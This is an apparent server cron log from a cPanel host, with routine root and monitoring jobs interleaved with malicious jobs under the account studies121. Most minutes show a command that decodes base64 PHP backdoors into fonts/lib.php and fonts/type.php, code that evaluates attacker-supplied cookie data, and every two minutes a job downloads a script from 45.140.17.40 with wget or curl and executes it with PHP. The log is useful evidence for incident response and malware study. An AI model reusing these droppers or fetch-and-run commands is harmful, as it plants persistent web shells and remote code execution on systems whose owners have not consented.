Aug 30 06:52:02 ip-184-168-122-23 CROND[32151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:52:02 ip-184-168-122-23 CROND[32148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:52:02 ip-184-168-122-23 CROND[32149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:53:01 ip-184-168-122-23 CROND[32238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:53:01 ip-184-168-122-23 CROND[32240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:53:01 ip-184-168-122-23 CROND[32239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:53:01 ip-184-168-122-23 CROND[32241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:54:01 ip-184-168-122-23 CROND[32407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:54:01 ip-184-168-122-23 CROND[32410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:54:01 ip-184-168-122-23 CROND[32409]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:54:01 ip-184-168-122-23 CROND[32411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:54:01 ip-184-168-122-23 CROND[32412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:55:01 ip-184-168-122-23 CROND[32500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:55:01 ip-184-168-122-23 CROND[32503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:55:01 ip-184-168-122-23 CROND[32507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:55:01 ip-184-168-122-23 CROND[32511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:55:01 ip-184-168-122-23 CROND[32510]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:55:01 ip-184-168-122-23 CROND[32514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:56:01 ip-184-168-122-23 CROND[32603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:56:01 ip-184-168-122-23 CROND[32605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:56:01 ip-184-168-122-23 CROND[32606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:56:01 ip-184-168-122-23 CROND[32607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:56:01 ip-184-168-122-23 CROND[32608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:57:01 ip-184-168-122-23 CROND[32699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:57:01 ip-184-168-122-23 CROND[32700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:57:01 ip-184-168-122-23 CROND[32702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:57:01 ip-184-168-122-23 CROND[32701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:58:01 ip-184-168-122-23 CROND[332]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:58:01 ip-184-168-122-23 CROND[336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:58:01 ip-184-168-122-23 CROND[335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:58:01 ip-184-168-122-23 CROND[337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:58:01 ip-184-168-122-23 CROND[338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:59:01 ip-184-168-122-23 CROND[448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:59:01 ip-184-168-122-23 CROND[449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:59:01 ip-184-168-122-23 CROND[447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:59:01 ip-184-168-122-23 CROND[450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:00:01 ip-184-168-122-23 CROND[570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:00:01 ip-184-168-122-23 CROND[573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:00:01 ip-184-168-122-23 CROND[577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:00:01 ip-184-168-122-23 CROND[578]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:00:01 ip-184-168-122-23 CROND[582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:00:01 ip-184-168-122-23 CROND[583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:00:01 ip-184-168-122-23 CROND[584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:00:01 ip-184-168-122-23 CROND[585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:01:01 ip-184-168-122-23 CROND[747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:01:01 ip-184-168-122-23 CROND[749]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 07:01:01 ip-184-168-122-23 CROND[750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:01:01 ip-184-168-122-23 CROND[754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:01:01 ip-184-168-122-23 CROND[751]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 07:01:01 ip-184-168-122-23 CROND[755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[749]: starting 0anacron
Aug 30 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[768]: finished 0anacron
Aug 30 07:02:01 ip-184-168-122-23 CROND[844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:02:01 ip-184-168-122-23 CROND[849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:02:01 ip-184-168-122-23 CROND[847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:02:01 ip-184-168-122-23 CROND[846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:02:01 ip-184-168-122-23 CROND[848]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:03:01 ip-184-168-122-23 CROND[965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:03:01 ip-184-168-122-23 CROND[967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:03:01 ip-184-168-122-23 CROND[966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:03:01 ip-184-168-122-23 CROND[968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:04:01 ip-184-168-122-23 CROND[1113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:04:01 ip-184-168-122-23 CROND[1114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
